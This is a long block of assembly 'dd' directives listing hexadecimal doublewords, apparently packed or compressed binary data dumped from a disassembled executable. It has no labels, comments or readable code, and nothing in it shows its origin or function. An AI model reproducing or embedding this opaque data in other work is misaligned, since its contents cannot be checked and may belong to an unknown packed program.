		dd 0BF493A59h, 0DBDB406Dh, 0FFFFFF3Bh, 8CC50FFh, 55F94D78h
		dd 970022C6h, 0D1661774h, 0C04BEB2Eh, 3B643C2Bh, 145D6F61h
		dd 7594522Bh, 0FFFFFF28h, 0FFC27FFFh, 2B2E486Dh, 402B5906h
		dd 794B0375h, 0BD2BC6B2h, 2B44DB73h, 647E8B69h,	0F7034340h
		dd 0FFFFFFABh, 6C873CFFh
		dd 130664B9h, 801A3B06h, 0FFECD9EDh, 2EFF2B7Ch,	3E800575h
		dd 2C0E742Eh, 0B04359C6h, 0FFFFFEB0h, 0D7E70FFh, 8BAEBF28h
		dd 2DD3D41Dh, 0B0BF6D97h, 3C8D4AEBh, 0B307272Eh, 4BA41739h
		dd 26B290C8h, 97FFFFFFh, 0B77B659Dh, 0B03F6E85h, 55B3794Eh
		dd 85852EB1h, 0DC58686Fh, 7D800A7Ch, 0FF042000h, 0E2FFFFD2h
		dd 4A1A9702h, 1F5BE67Ch, 0D272595Dh, 408D5B6h, 0E140DC0Dh
		dd 0E3BB70B2h, 0BFFFFFFCh, 0BBB660F4h, 2A740C58h, 0B64B3761h
		dd 6274DB02h, 0C090B1DBh, 0B86E165Bh, 0BF501806h, 43FFE941h
		dd 0DA371547h, 0CDA5F61Eh, 92E703BDh, 37213132h, 0FFFFFF01h
		dd 83880FFh, 0DAF64817h, 32EB5020h, 0DFC4DABh, 8AEDD8D7h
		dd 885EFF06h, 0A6E2F501h, 0D2CEBEA7h, 0FFFFFFFBh, 0CEB00FFh
		dd 41706856h, 0FF53B748h, 903B6ED1h, 849F0F8Ah,	88A67C9h
		dd 5005215Fh, 76D6B1F7h, 0FFFFFF8Eh, 6BF980FFh,	8A400A40h
		dd 2D1E380Ch, 0ED7F7EF0h, 45ED3355h, 0A3112D39h, 0C55FB054h
		dd 0F4B0E37Fh, 0FFFFFF30h, 35035EFFh, 0EBD6D64Eh, 74C8A13h
		dd 6C2DC966h, 137AF9D8h, 0CCE3813Fh, 48B58ED6h,	0E47F2E8Fh
		dd 0BC2FE08h, 0C2D111FCh, 61EF7FAFh, 850D2BCDh,	2858A3C1h
		dd 0FFFFFEC0h, 0B09097FFh, 0F02FAFBh, 0C748B387h, 138606C5h
		dd 672CD753h, 1F3B29AFh, 0C0BF9316h, 7FF1BDF7h,	0D932F7EBh
		dd 7724FAC3h, 80127B7Eh, 4F971AB8h, 6F09FB85h, 8CBFFFFCh
		dd 8A7B6774h, 0BDACDACEh, 0DCE64F0Dh, 0DE20C1CDh, 40DEDC83h
		dd 0E3EA0B7Ch, 39FFFFFFh, 59888A7Fh, 0DFDFFDF0h, 21E5EDEBh
		dd 0A1C88B80h, 64C06B19h, 53F9F799h, 0FFD7F7F0h, 1574BA2Dh
		dd 107E9014h, 217C3253h, 0BE15FC9Fh, 0FA5FFF07h, 5F5D5EFFh
		dd 6174A5Bh, 0EB3C097Ch, 67936BE6h, 0DF7D4608h,	81F9DD02h
		dd 0FFA5C8ECh, 0A6FFFFFFh, 7492570Eh, 520B8705h, 0A6B78D78h
		dd 0AF55106h, 0E577F75h, 263F6B0Dh, 0B2F9C338h,	0FF683D84h
		dd 0FEB702h, 7B5DFB6Ch,	0F6344647h, 0B8A1CB59h,	16C64D6Fh
		dd 0EB7FFFC3h, 0DBE05BFFh, 0EB5FF6CAh, 0C852119h, 67FBA06Eh
		dd 8B15CA0Bh, 24BCB504h, 0C6E36F46h, 0A1AB7FFFh, 0E6FF645Ch
		dd 1EEB2609h, 0EB58646Ah, 0E112A1Fh, 0FFFF4907h, 9F6CFFFFh
		dd 39B8A343h, 0F8EBD8CEh, 3C1710A5h, 3E5F078Ah,	0AC91F730h
		dd 0FEF03597h, 0FE814746h, 0FFFC2F5Bh, 271D67FFh, 14C6FBDBh
		dd 0F0DB1900h, 13737C36h, 30353937h, 0D6295F70h, 0FF5F1B30h
		dd 6BFFFFFFh, 501D7B6Fh, 5F1A4476h, 0C806F0FBh,	1E818D46h
		dd 0DBD3BF83h, 6A922DF4h, 505CBA03h, 0F1288D8Dh, 56FFFFFFh
		dd 67857EF8h, 0D16F1A0Ch, 0B6F04D14h, 66C9BAA9h, 50F01237h
		dd 374EC549h, 0FE653368h, 0F4BFFFFFh, 0BA056A37h, 2016F514h
		dd 595F84C3h, 0A1092D6Ch, 22970ACh, 0D91C3649h,	29EA631Fh
		dd 360DFFFFh, 86859BA3h, 0EBC52A5Fh, 723AE35h, 945F813Dh
		dd 0FF373817h, 56817FFFh, 153F0D7Bh, 302D2C70h,	3067BFCh
		dd 946D7948h, 1FF0B74Ah, 55B10F7Eh, 0A5FFFFFAh,	0B730898h
		dd 8D82327Fh, 0FC7D83C6h, 4A6D051Ch, 58B45EC7h,	0F0037E10h
		dd 0B9E9B0ADh, 4FF6D188h, 0FE54C903h, 0FFFFB42Ch, 2EBB7FFh
		dd 0B72236B1h, 0B0C20C80h, 0A4D94C8Eh, 4C52160Bh, 0D1D18218h
		dd 3ACFC234h, 0FF0B8918h, 72D06FFh, 0DA4CBFC3h,	0EA2546B7h
		dd 685001E3h, 4DEFE4B5h, 0FFE1701Dh, 4889097Fh,	0F76BC708h
		dd 0F80440BAh, 22D006F6h, 1FB5E50Bh, 0FFC68096h, 70B3F36Fh
		dd 4CA1D338h, 0EEA60D98h, 0C98DF87Fh, 3BC01FFFh, 7D3674ACh
		dd 0B0FA9E4h, 0CB136C67h, 1290BEh, 0C8FEDFFEh, 2AD0E499h
		dd 1F66810Ch, 2FD2FBBEh, 2BE4B1BDh, 7FFF9BC1h, 3479F803h
		dd 0F2CEE478h, 0B545FB0Dh, 2325C845h, 304AF8C8h, 2CFFF006h
		dd 0F48AC817h, 0FA6AF0F7h, 7AD61BF3h, 0FFFFFF32h, 591C7606h
		dd 6B54FA55h, 1C0AEF2Bh, 13A025EBh, 853B7E1Bh, 8A117428h
		dd 0FFFC1A0Ah, 380F84FFh, 5C2D080Eh, 804266E0h,	0F7F23BEFh
		dd 95E3A80h, 0CA350FC3h, 0DC01BFFCh, 9C76D5A8h,	676DDF0Ch
		dd 0F312B02Dh, 60E2A05h, 9501F4B0h, 99ED9C7Bh, 0FFFFFC4Bh
		dd 18A0C1Dh, 23A0CE6h, 0FF4241A2h, 0DB684E1Ah, 81EE75B6h
		dd 0C5A00601h, 4FFFFC6h, 0F8D83A28h, 75899E24h,	0FA3FBAF8h
		dd 0DBB13D53h, 0FF281E68h, 3BFFFFFh, 9D2307DEh,	3C4B6CD8h
		dd 33180FF4h, 0DFF429D2h, 0C82D2FFEh, 83D0C183h, 0B7709F9h
		dd 0FFFFFF88h, 42D8D9FFh, 0FFA8346h, 86DBE772h,	0F6ED285Bh
		dd 7D040EC6h, 9BF07403h, 0E198581h, 102AA6D8h, 0FFFFFF6Bh
		dd 6B99C9A5h, 0C53297B4h, 89D0115Ch, 0B9507010h, 3BB028E4h
		dd 5025B875h, 0C0D5C38Eh, 0C0FFFFFFh, 6A299D87h, 0F40E0C14h
		dd 0DE363DC8h, 5045E2DEh, 1688097Dh, 72D945C6h,	1BFFFF18h
		dd 0DE1BEBBCh, 516A28E3h, 16A51D8h, 5051FC05h, 0F426EEC8h
		dd 0FF67684Ch, 7FB7FFFh, 50F32B41h, 0C0D8CF1Bh,	0F03BA5F0h
		dd 4E74ECB3h, 4483F47Eh, 0F303FF89h, 0FE3E1C8Dh, 8DFFFF16h
		dd 5C570834h, 1B46CFC4h, 0CB2BEDFAh, 5C4C143Bh,	0C9BB1B73h
		dd 0FFFFFE7Eh, 6D392DFFh, 792BC3E9h, 148A2F03h,	40108833h
		dd 7CF13B46h, 97B76DF5h, 5B49E85Eh, 78FD2FFFh, 2B0EBF10h
		dd 1549F3DEh, 0AC1FDC48h, 0F57D27BBh, 0F575A063h, 0F4FFFFFFh
		dd 513E0C8Dh, 1B875D90h, 120FB3ECh, 2559F887h, 6A70C31Eh
		dd 0B5594C85h, 7F86440Fh, 87BFFFE1h, 0A21C59F4h, 557F4BBh
		dd 289EDCB7h, 25312557h, 5F3417E2h, 0FE44E19Fh,	0EFFFFFFh
		dd 0D1F50E01h, 8541FA33h, 5E5C0DC2h, 4E9F50F4h,	0DB1E493Dh
		dd 76E058E8h, 8826D839h, 0B7FFE45Dh, 0BC3905FFh, 377D390h
		dd 3C41E063h, 0FDA17DC3h, 0E6E597h, 0FF3C0C7Ch,	5AFFF4BFh
		dd 9B1E087Fh, 6EB37EAh,	6E5F6B1Eh, 7C41FBADh, 0C317040Dh
		dd 859AE883h, 5FFFFFFFh, 300777E8h, 0D00304C3h,	8082D285h
		dd 0DEDB612Bh, 50E589D1h, 46E45588h, 0FD2FC5E5h, 47F9E0FFh
		dd 786C1BCh, 0C34774F8h, 9C8F903h, 20FF35FEh, 16FFFF2Ch
		dd 0CE4342BFh, 0E93BCF2Bh, 0FE2D1144h, 24FE3712h, 8862DF2Bh
		dd 97473B0Ch, 48FFFFFEh, 0DCB2C175h, 8D17F0B0h,	7C2DFF48h
		dd 0FB2B193Dh, 87966907h, 371BE45Ch, 0FFFEB7E4h, 2C2CD3FFh
		dd 3F419424h, 6DBDC31h,	405F43DBh, 0BBF8A1C9h, 7D390405h
		dd 5C7EDB51h, 12FFFFA0h, 7E464109h, 0F8F3EB08h,	0AE047705h
		dd 0C120E976h, 0B7600BBh, 810BFA35h, 4AAC1CCAh,	0F0741DFDh
		dd 7FFFFFE8h, 6806F4FBh, 8FC76ABh, 0BD2BC82Bh, 1DC2CD6h
		dd 310EA04Eh, 0C152DE2Ch, 0E42510AAh, 0FFFF9756h, 977E40FFh
		dd 30DEC4Bh, 7D602568h,	0E8053D81h, 7D721103h, 2275853Bh
		dd 37A1D917h, 0FF12ADFFh, 0E50ADB52h, 25FA35AAh, 0F5EB32EFh
		dd 0CC98AD00h, 0FFFE3F68h, 596DFE37h, 3C6B641Ah, 818551Ah
		dd 0ECCB6C18h, 1B5694EAh, 101C8C4Ah, 0FF60D829h, 0DFDFFFFFh
		dd 0CA949D58h, 28F5A8DDh, 8E68D195h, 47587B09h,	531623EFh
		dd 1CA26650h, 4D2468DCh, 0FFB7E837h, 0B0B38E9Bh, 804C5353h
		dd 8BB7DBF1h, 0F18B6559h, 785EB7E1h, 5A75FFA3h,	0AB10B778h
		dd 20C6282Fh, 73208E54h, 0FFF33017h, 4EB7E37Fh,	8F29B302h
		dd 3BDF0913h, 0A31F15D9h, 0FF3274CFh, 0DA2E6435h, 0F02FFF0Bh
		dd 1C3E0942h, 2404181h,	0D42E2FBEh, 7D64095Ch, 0FFFF06DFh
		dd 0F740FFFFh, 0DCBB3D58h, 0FE496725h, 156C1D39h, 6ED8BAD1h
		dd 26160A74h, 1738117Fh
		dd 455D4390h, 2FFF5828h, 616FFF0h, 7035363Ch, 666684F4h
		dd 0BC02E539h, 7A5FF07Ah, 897ADA64h, 0FFFF041Dh, 3BBDFFFFh
		dd 498FB798h, 136805C7h, 6A9D201Fh, 0ED8E0FFh, 2F943AB3h
		dd 2113E0B0h, 381B3C25h, 0FFF120FEh, 0A20E817Fh, 0EEFC87AAh
		dd 305D5D1Bh, 0F18B262Fh, 0C6C46C3h, 0F46F7FF0h, 0D8BBBD1Bh
		dd 4EE2C83Bh, 0B9037310h, 0E9C1CB49h, 85FFD1BFh, 0C114491Dh
		dd 0BFF8EFC0h, 3FE083C2h, 5F406A3Fh, 0ADA9F82Bh, 4CAFFFFFh
		dd 7731830h, 0D4AF0453h, 89DCA8C0h, 0DCBA9506h,	0FFF84DD9h
		dd 0D2187FFFh, 6B6A120Ch, 0B25A37FFh, 40FB83CCh, 0FB8B2A72h
		dd 3906EFC1h, 65702F26h, 0FADFFF9Dh, 83298A17h,	0EB8340CBh
		dd 40F757DBh, 51DB754Fh, 5618C683h, 0FFFFDC23h,	944542FFh
		dd 9DC0BB78h, 593F6A7Eh, 77548D80h, 0E18002C6h,	83D817D6h
		dd 0FD4A3042h, 263302FFh, 5200C457h, 0B60E21CBh, 4C7E8D1Dh
		dd 0FD2FFD52h, 6CAFF985h, 18262D81h, 27F85ED8h,	973BB65Bh
		dd 6FAB4E53h, 50315BFDh, 83541405h, 0EA13EC7h, 50780CBAh
		dd 52FE897Fh, 406C867Fh, 79447C56h, 0D5BFE85Dh,	0FFFF7122h
		dd 8BFCEADFh, 33DA4079h, 0DAA923DEh, 6FE0503h, 8D113CBFh
		dd 0E6781394h, 56FFC1D7h, 7C2FFF8h, 0A3E0D703h,	33EEDB6Fh
		dd 0CF1B23DFh, 33B4DF29h, 0B4A1B756h, 0FFFFFFFFh, 8B6EFDCDh
		dd 0CC6C128h, 1D23F203h, 753F0819h, 52FFD6Fh, 70DB3BBCh
		dd 0CFC12420h, 7D89080Fh, 0FFFD1BE3h, 2EDA36F4h, 4EAE76EFh
		dd 0C585157h, 0C14EEE1Ch, 9FB6030Ah, 702B7837h,	6ACE1AE0h
		dd 0D0A33FEh, 0FFFF816Dh, 0F037FC1Bh, 4A03FE33h, 560FAF12h
		dd 0E6DB118Bh, 763395FEh, 0FA23FC55h, 0FF0B1A1Fh, 7114D2FFh
		dd 0EB5D6655h, 6587C62Ah, 3872FA29h, 6D818FCh, 0FFFA18FDh
		dd 1F53EADFh, 8BA8F813h, 0EC7C1C58h, 735ED776h,	0F7073B3h
		dd 0F5762581h, 4E17FFFFh, 95017936h, 7E73FD46h,	0E4019B76h
		dd 98D820CDh, 0AF246980h, 0F4BFD6F7h, 0C9F66DBFh, 5BB128DDh
		dd 0EF24E780h, 2C33439Eh, 5CD7BE70h, 0FFFFFFFFh, 0CDE4A89h
		dd 2230FC72h, 846B9011h, 3C5AD9BFh, 71933472h, 788BFD98h
		dd 0AEBB5A38h, 72383689h, 0FFFFFFFFh, 58F45D03h, 6DA0438Eh
		dd 0A679DB63h, 33783CECh, 5603F71Dh, 0BBD737FBh, 211E355Ah
		dd 0C149B408h, 0F46FFFF5h, 86BB72CEh, 0C3DFC33Eh, 0FC34F85Dh
		dd 6BC60495h, 62F2F62Dh, 0BF1BA170h, 305F663h, 4FA931D6h
		dd 70777173h, 2FFFC0BFh, 40B34067h, 610966C0h, 75C0DF1Bh
		dd 7000199Fh, 5E5AB8C2h, 1B6FFFF6h, 6FFDD734h, 0EC7C116h
		dd 23F71CC5h, 308533F2h, 0FF2E0568h, 79FFFFFFh,	0E9B6C7AAh
		dd 1B6B610Ch, 68F37B98h, 2F105D14h, 686B5CD6h, 66F201CDh
		dd 44145328h, 0FFFF3C02h, 9D81FFFFh, 0E6E4A777h, 1070D8A1h
		dd 0D3FBC869h, 0DDE4A6E7h, 6924D290h, 21E1CDE6h, 212FB938h
		dd 0FFFFD66Fh, 3707FF6Fh, 6E0C66C3h, 69D5E6F2h,	0F4D50D87h
		dd 5A14ED20h, 0CDE15945h, 0E9053400h, 0BFFA9E3h, 68DFFFFCh
		dd 8FFDB737h, 708BDE58h, 20DE0308h, 0F833D930h,	0E403BBC8h
		dd 0A37EEFA3h, 6F5A12FFh, 676F02D9h, 9FB988E6h,	0F1753072h
		dd 17F16D6Ch, 5E3031DAh, 14CC8D2Ah, 161B7D78h, 6FF1BFE3h
		dd 1BFB1CACh, 0FFFA3942h, 0B6E0CFF5h, 0A43AE9C6h, 0FFFF1A33h
		dd 36007E17h, 696FBAD0h, 0F681F803h, 0B538771h,	138BFA03h
		dd 73630FF8h, 0FF422ADCh, 332CFFFFh, 23C0097Eh,	3B9B6122h
		dd 6D9DDB34h, 9A8B1073h, 46384E6Eh, 0EBCDEEE3h,	44E85FFFh
		dd 5EE5D4B1h, 0E6B45A17h, 73E416B6h, 6CA7BA7Bh,	0FFFFADEFh
		dd 0D41C7FFFh, 447F6F7Ch, 54A4BEEAh, 0B259FB10h, 7CC421ADh
		dd 0DECFA979h, 0A952244Bh, 7A7C98B9h, 0FB7FFFFFh, 0C30C1633h
		dd 601C8DDEh, 8EF6BB4Bh, 0B2C87275h, 702892FCh,	34BEBFBCh
		dd 97D0B6D8h, 0FFFFFF85h, 7EC6C80Ch, 0EB38609Bh, 1327E40Eh
		dd 0A127FAFCh, 0FB0B0CEAh, 0DC1F77D9h, 0F52F4AEBh, 0D4EFFEA5h
		dd 0DB1F2D78h, 78185262h, 24831D05h, 46FF1042h,	130B4BEBh
		dd 9C7D75BCh, 2EF6C1FEh, 0D4D0397Ah, 8B7B7E36h,	3CC96DD9h
		dd 327887Ch, 6B99E5F0h,	8097B776h, 3F971A17h, 458BC2D8h
		dd 0A27CD484h, 0A5FFFFF6h, 0C773B61Fh, 0DDEF6F19h, 0E86BD857h
		dd 0AC56656Ch, 0DF3D66C4h, 0FFB2D3F7h, 79B7FC4Bh, 16D8300Bh
		dd 224440FCh, 0D6065B3Ch, 84A0D701h, 0FFC24416h, 0CB99FFFFh
		dd 5CBBCB35h, 432AFF97h, 0B016DE0Ah, 1BBCB35Ch,	23A759E4h
		dd 0DA0FAB94h, 0FFFD1B3Dh, 5BD9BB85h, 0A039E0DFh, 590BFC93h
		dd 0D6737921h, 0E975F013h, 59C3F1BFh, 0C977655Bh, 0CC92DC9Bh
		dd 19D88F0Ch, 5FFEFFEFh, 66D4BFFAh, 5DD1D448h, 0CDB78584h
		dd 5BD03490h, 6FA87E4Fh, 6F24E0F8h, 0BEDA386h, 0FE2CED17h
		dd 0A3014387h, 6F333B9Bh, 7FBBFEDFh, 0C44E0811h, 3C487E82h
		dd 35C0F753h, 37BD3AF2h, 0BBE85F43h, 0FFFFD7D2h, 0BC2AFB7Fh
		dd 6D86D391h, 8BEBF0BBh, 51EC0319h, 894D6204h, 0A9695109h
		dd 279D0CD4h, 0FFFD5141h, 0A214FF4Bh, 89CD6EDDh, 0B851019h
		dd 189919E1h, 60867816h, 0D1F01D82h, 0A37CD03Dh, 0EB604BD6h
		dd 5C5A6E30h, 4F04850h,	2FFFFFF8h, 6F7BB2C9h, 0B58D56E7h
		dd 4C0A1014h, 39D6755Eh, 3163433Bh, 0CCC9E968h,	7A17C551h
		dd 4DFF0223h, 0EBBF21B9h, 6FFB0F11h, 8A8DBEB4h,	0CC42E089h
		dd 274554Eh, 404A0888h,	0FE174332h, 0FFA0706Fh,	0E0BA3869h
		dd 0FB90C8Eh, 0F613DD8Ch, 0A144A681h, 46DCFFFFh, 310B02EFh
		dd 0DE37C53Bh, 0A28F77A2h, 22C76B0Ah, 0BFFFC6FFh, 0BC1B0336h
		dd 5C6A954h, 3D74F4EEh,	0DBADE473h, 0D4C4308h, 0FF5AE80Ch
		dd 0FFA970A0h, 4F6B5E12h, 0BF518DEAh, 791369C8h, 0FFFFD65Ah
		dd 0AC8DB2DFh, 0F9144A8Dh, 3B4020C2h, 5875EC55h, 174CD783h
		dd 0CEDFE22Ah, 0A5FF528Dh, 0A93F9DFFh, 352994B6h, 0DFC78061h
		dd 0C5CA459h, 0FF1D0A47h, 0C8FFFFFFh, 0C2E295A8h, 3241D74h
		dd 0A93047CFh, 13DADA97h, 972BB92Bh, 118A07h, 0B52ECEDEh
		dd 0F5BF4E41h, 7F12FFFFh, 0AD2B2AF5h, 980C4501h, 48D0ADEDh
		dd 0E3C1B9C0h, 62731404h, 32ED13A3h, 0FFFE17FFh, 683B9A39h
		dd 0DFD56DCFh, 0C509231Ch, 4A4ADB29h, 604C6ECh,	0F837BC6Bh
		dd 0FFF5C207h, 54B3FFFFh, 3910DB9h, 895EF3B3h, 1CC11A66h
		dd 0E9081B08h, 7FC2BA3Eh, 5304CBC3h, 17FF5F8Dh,	7CE16FFEh
		dd 2240FF1Eh, 5AADAD2Eh, 52850F71h, 0DB677ECFh,	0FB416C2Fh
		dd 0AB7F5683h, 44703FFFh, 1F492E76h, 85F196B4h,	86567FFFh
		dd 0C3695DB7h, 0B601237Dh, 0DD2718BAh, 89FF9817h, 0C2FFED7Ch
		dd 14A9BFFFh, 0FC2F0231h, 575EDC2h, 0EE7CE441h,	7DE80339h
		dd 5B7D6C5Fh, 0DBFFDA3Bh, 0CB60FFFFh, 167EC1EDh, 0BB065C4Fh
		dd 51124821h, 4FD5DFE1h, 3D7EC2FAh, 397EC73Bh, 0BADF5F85h
		dd 15B8FFD0h, 0FF8398BFh, 36307C07h, 353B19B0h,	7B82F713h
		dd 8B706FFFh, 1584FEABh, 0FA81DE56h, 0B30A98FEh, 0E972635Fh
		dd 0FFFC2F6Fh, 0C6500F30h, 0CD506717h, 0FB083A17h, 37870808h
		dd 0C3B9B05Bh, 0BADF720Eh, 10B8FFC4h, 0BA1CBC03h, 3B4B8FEDh
		dd 0BD6A710Eh, 80086802h, 0FF52FA97h, 3180685Fh, 0C63F544Fh
		dd 0A6840FBDh, 1472A33Ah, 0FFFFFFFFh, 0D9D08B0h, 25A2601Dh
		dd 0C9A2A0CCh, 0D4AD80BBh, 1FFFFDC3h, 516CC58Dh, 0D0741DB9h
		dd 0A1F49EBFh, 0FFFFFFFCh, 9D68D7FFh, 3CBC5361h, 1C3D6174h
		dd 916F5A73h, 0AF47FD05h
		dd 0A000257Dh, 4B199106h, 0FFFFFD68h, 0BD474BFFh, 8B3A432Dh
		dd 0DC4C13B5h, 0A1A256F8h, 975F42Dh, 0B0009981h, 6E09AD6Eh
		dd 0FFFFFFABh, 951E77CBh, 504F356Ah, 6D8ABA53h,	0F0303AC1h
		dd 409F0460h, 0BF5631Bh, 0FEAD5B32h, 0D55B7F0Bh, 0C8E0307Fh
		dd 207E831Fh, 99820F28h, 0FFFF92D7h, 8EE3EDFFh,	0FFC90DDDh
		dd 742C5E38h, 0FFC4921Bh, 7D617FF6h, 2C06D010h,	8B02752Eh
		dd 0FFFF40C8h, 0D238897Fh, 0CB3BE975h, 0DA88057Dh, 0D34BEADEh
		dd 0F6A1BEBh, 502D316Bh, 5FFFE870h, 796DFFEAh, 90BF9A66h
		dd 38E1A009h, 0A652111Fh, 3E22357h, 0D750A00h, 0FFFF6181h
		dd 9770FFFFh, 0AE454A0h, 6A52F587h, 1559BD8Bh, 45B46844h
		dd 0F8273141h, 0B9AEBF57h, 0CA5A88Dh, 8DFF4034h, 0D601FFDAh
		dd 0E17DE944h, 5B63B61Dh, 0B229C49Dh, 0E3608599h, 0FFFAB359h
		dd 0C016FFFFh, 47232472h, 4885C89Ch, 0D03217B6h, 0D8127274h
		dd 6590B0AFh, 8C59E05Fh, 2FB6C90Fh, 0E637E055h,	2E438112h
		dd 6C14ABE8h, 0FFFF60BFh, 0B7BEFFFFh, 0F4212174h, 64CEAECDh
		dd 444402A6h, 0FD5B21CDh, 4639850Dh, 0EB357720h, 0D508DB0Bh
		dd 0FC2F3382h, 0A1C0FFFFh, 7D84F613h, 6D463A57h, 1B580A51h
		dd 0EE0F016Ch, 2727E90h, 598F1F1Ch, 0FFFFFFFFh,	5B64735Fh
		dd 6C076992h, 7E360C1Bh, 0C9E3AC0Ch, 4EA511D0h,	99CE132Ch
		dd 1601F18Eh, 481D8B5Ch, 0FFFFFFF4h, 30E08585h,	0BB2BECF6h
		dd 0BD8D08D3h, 0F7B04F0Eh, 80492785h, 1274DC3Ch, 27C4F868h
		dd 0BDBE05FFh, 1570F65Ch, 0C11FCC1h, 0D108CFA0h, 0A468B0h
		dd 0FFFF76C8h, 0E63DFFFFh, 5959D028h, 501B9D2Ah, 0F5D82375h
		dd 0B4319351h, 756AFF1Fh, 5980A03h, 9323EEE7h, 6FC66DC3h
		dd 9D3FF85h, 1ECC39B4h,	0A3A746C0h, 0CCBDEE74h,	0FFD5693Ch
		dd 18837FFFh, 4619AC74h, 911EF96h, 0D9119ACEh, 0C690D916h
		dd 0CC91BF50h, 0FC1B8FC2h, 0D84DDBFFh, 7410A5B7h, 294B6A1Eh
		dd 6BAC3763h, 0D22248F2h, 0F56F7EF8h, 57BBFFFFh, 941EB60Ah
		dd 162D7110h, 57BF4C1Ch, 0B7953D8Ch, 55445CB8h,	0FFFF2758h
		dd 0F04BC40Bh, 0CC8C1Eh, 0E09B2253h, 7C53324Ch,	0D6F33BC0h
		dd 0FFFF5B3Ch, 690B8DFFh, 0C4FECD24h, 0C1337B33h, 0E0841D2Dh
		dd 5F0230E6h, 0CFD30E57h, 602A42D6h, 0FFA17FFFh, 8BC3BC52h
		dd 1AFBAF35h, 746CD980h, 231A051Fh, 6C37C404h, 4D88AF00h
		dd 0FFFFFFFAh, 6C4475D1h, 4BFBD6FFh, 5F686DB4h,	0C7E06807h
		dd 478B78EBh, 0B1B13764h, 604FBADDh, 0FFFFAB76h, 3970D2DFh
		dd 3A702364h, 0A4B62138h, 59AD92E0h, 5FF6037h, 1BADF6Eh
		dd 7FFFFFF8h, 44532573h, 3E141873h, 0E0055488h,	0A5DB1C38h
		dd 553E8AD8h, 0E8721346h, 0FF067640h, 0B9B7FFDBh, 2F3409B9h
		dd 4583F918h, 2B99BA65h, 0B67564A8h, 96718CE5h,	0FFFC8CC7h
		dd 0B58AFFFFh, 7C14746Fh, 71835FE8h, 0A574C583h, 0B84958h
		dd 0FC684146h, 0A8F13675h, 196894h, 6FFFFFFFh, 66CAE82Eh
		dd 21A80B1Fh, 6C1CFE80h, 751C2CC1h, 2EA86A4Fh, 9DC1A501h
		dd 88DB819h, 2FFD4BAh, 8774F62Ch, 58933DB7h, 84F5341Fh
		dd 0FFFFFF49h, 189BB85Fh, 74229D38h, 0BF2E2A0Dh, 2DA43C23h
		dd 0B8930214h, 788D892Ch, 459F6322h, 0FF46A935h, 48B8FFFFh
		dd 0DBA3B899h, 90BD3D6Ch, 5E84BEA8h, 833D41BBh,	0FDF03CB1h
		dd 0FF9CDE56h, 6BFFFF1Bh, 139C0F32h, 0C698EF50h, 0D91B4558h
		dd 9E049B30h, 1B2461F0h, 92319B9Fh, 0FFF817FEh,	99490C71h
		dd 0C3B92D08h, 1A530A2Eh, 0D71719D7h, 0DEBB2596h, 0FF1250B8h
		dd 88B7E85Fh, 0D9E336A5h, 56A5CB2h, 6B48696h, 3FD1839Dh
		dd 0FFFFA302h, 309FF5Bh, 8A491B77h, 0D5BABEE8h,	0D92F7BE6h
		dd 920FB7BBh, 0B9B26BA4h, 0C9D8ADFh, 0FFFFE37Fh, 17B96468h
		dd 0EC61BF9h, 6624DEE9h, 430FC60Fh, 5B7B2600h, 9C4332F8h
		dd 0FFFF8D4Bh, 456AFFFFh, 0A71E73EDh, 6CAE4468h, 6B1FA0D6h
		dd 272CFE40h, 5172BFCh,	5EB77C5Ah, 94668391h, 0FF811438h
		dd 6F2AFFFFh, 0C41C73C2h, 356FF6C6h, 0ABEE7D8Dh, 2066AABh
		dd 4166FA01h, 29768DD3h, 746F817Ch, 19A04B92h, 0FBF5F3BFh
		dd 0A91FA4BDh, 2FFE8DFFh, 0A808CF67h, 6669506Ah, 0E56FB70Dh
		dd 981EDCECh, 6AEE0E66h, 0D6FF6FFFh, 538D8D10h,	3D3E3659h
		dd 0A6E8299Eh, 3D174010h, 5621114Ah, 6FFF734Eh,	180BFFFCh
		dd 5EBB9002h, 0C1A1161Ch, 0C0C5A269h, 5BB0CBA9h, 4141710Fh
		dd 18424B94h, 0FFEDFFFFh, 0B2440A42h, 26AC6E67h, 52B06808h
		dd 74BA66D8h, 3871572Ch, 7866D57h, 6CE293Bh, 0FFFFFFA9h
		dd 5E00FCC1h, 0BDCDED19h, 0F6408C18h, 24741520h, 0E5FA3B04h
		dd 187419E5h, 0FFFAEF50h, 0E46E625Fh, 0EB817CA1h, 0CFCC0A13h
		dd 678A1DFh, 574A10Ch, 0FFF42FA1h, 5CC6F85Fh, 3A36561h
		dd 800DC8D0h, 7E96B518h, 8BB4C914h, 2DF0B625h, 715F12FEh
		dd 0E7493A3h, 0C2819969h, 0C6FFB745h, 0F2E6BFFFh, 0C17F275h
		dd 0CD70168Dh, 0A038EB3Fh, 57360B25h, 0ED66DEFEh, 0FFFF855Dh
		dd 0A72ED5BFh, 635553EAh, 2623441Dh, 8A0C3E23h,	740D2716h
		dd 0E1892858h, 7FFFC1DDh, 88E1FF8Bh, 0F143EBFh,	0E2BCD486h
		dd 9BED9006h, 0CE525A85h, 46B70FC3h, 4BFE5002h,	0F12CFFFCh
		dd 0BC990A85h, 1076D283h, 0BFABE183h, 8E3C046Ch, 1A0C4F0Bh
		dd 0FFE0A5C0h, 0F0401ADh, 0E26CA4BFh, 2BB755BFh, 0FFFF1FD9h
		dd 7818A17Fh, 0B6EB2387h, 85F87D87h, 0C76D086h,	49797510h
		dd 8B6DB347h, 0FEDEC050h, 0E809FFFFh, 700B0702h, 1E1BB605h
		dd 0F80C15FDh, 82DD08C9h, 0C325BB9h, 3406DF05h,	0FFFF4513h
		dd 0BCAD3F17h, 0DBB42CFDh, 0C5243A74h, 0B21029EBh, 2A7C8C8Ch
		dd 0BFFFFFFFh, 0EBE31D46h, 0C70F132Eh, 7B181153h, 41B49AAEh
		dd 3D8378ADh, 0EF81FE60h, 0E1374234h, 0DBFAB227h, 1C1EEADFh
		dd 56AB98B4h, 24561B32h, 2C9EBA52h, 25BEA0D5h, 32DC6FFEh
		dd 34E8A0BFh, 0F300E462h, 98EB7A8h, 0E36AC2C4h,	8B23FFFFh
		dd 2E6C1F3h, 82164F8Dh,	0B3A38715h, 0CB1D3B47h,	0E9B7EA68h
		dd 0BBDFFFFFh, 6C08E0E2h, 0B75DB30h, 2698B89Eh,	0E7709C7Ah
		dd 6462A5C8h, 20E1B0FFh, 7FFFFFFFh, 45CF60A4h, 0A19D6EBh
		dd 0DC7F08A6h, 0E674F742h, 5057E4EDh, 864B08C3h, 2E4D2C8h
		dd 0FFF0461Ah, 0CBD0897Fh, 3CAD93C0h, 74C44AE4h, 374832B5h
		dd 98F871B2h, 0FFFFAC14h, 0B812FFFh, 0C4F4C774h, 0B9341D68h
